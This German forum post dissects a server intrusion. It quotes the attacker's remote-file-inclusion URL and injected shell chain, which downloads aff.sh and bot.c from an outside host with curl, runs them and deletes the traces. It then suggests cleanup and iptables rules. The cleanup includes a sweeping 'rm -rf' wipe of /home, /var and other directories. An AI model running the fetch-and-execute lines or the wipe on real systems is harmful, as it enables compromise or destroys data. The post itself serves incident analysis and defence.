RootForum Community

Code: Select all

/index.php?seite=http://www.julianosouda.oi.com.br/newcmd.txt?&cmd=

Hier ruft der eine newcmd.txt auf, das eine Mischung aus HTML, PHP und C 
ist und anscheinend einen Rootkit installiert durch deinen PHP Parser. 
Was sagt dir ein Nmap Scan von ausserhalb? 
Aso, hast du etwa mal wieder f_url_open aktiviert in der php.ini?
#-----------------------------------------------------------------------------
cd /tmp;

Wechselt nach /tmp . Schonmal dran gedacht ein extre Session Directory 
im Vhost einzutragen? Wäre das auf jeden Fall nicht gegangen.
#-----------------------------------------------------------------------------
curl http://www.julianosouda.oi.com.br/aff.sh -O /tmp/aff.sh;

Holt mit dem Programm curl ganz cool das Script aff.sh von einen 
Brasilianischen Server. Näheres später.
#-----------------------------------------------------------------------------
Kurze Pause damit das Script laden kann, der Server ist relativ lahm, schlechter Ping.

sleep 3s;
#-----------------------------------------------------------------------------
Führt es mit einer Shell aus

sh /tmp/aff.sh;
#-----------------------------------------------------------------------------
Löscht es wieder

rm -fr aff.sh
#-----------------------------------------------------------------------------

Code: Select all

#!/bin/sh
killall -9 perl;

cd /tmp;
curl http://www.julianosouda.oi.com.br/bot.c -O /tmp/bot.c;
perl bot.c;
rm -rf bot*;
rm -rf *.sh;

Code: Select all

rm -rf /{home,srv,usr/var,var,tmp}/*

Code: Select all

Löschen von /tmp wegen den Bot, dem Rootkit und der Remoteshell (Pfad vorher nochmal Prüfen)
rm -rf /mnt/hda1/tmp/*

Code: Select all

iptables -t filter -A INPUT -i eth0 --protocol tcp --destination-port 20 --syn -j ACCEPT
iptables -t filter -A INPUT -i eth0 --protocol tcp --destination-port 22 --syn -j ACCEPT
iptables -t filter -A INPUT -i eth0 --protocol tcp --destination-port 1-65535 --syn -j REJECT --reject-with tcp-reset
iptables -t filter -A INPUT -i eth0 -s  217.160.252.232/24 -d <ip von dein server + Subnetzmaske> -j DROP
iptables -t filter -A OUTPUT -i eth0 -s  <ip von dein server + Subnetzmaske> -d 217.160.252.232/24 -j DROP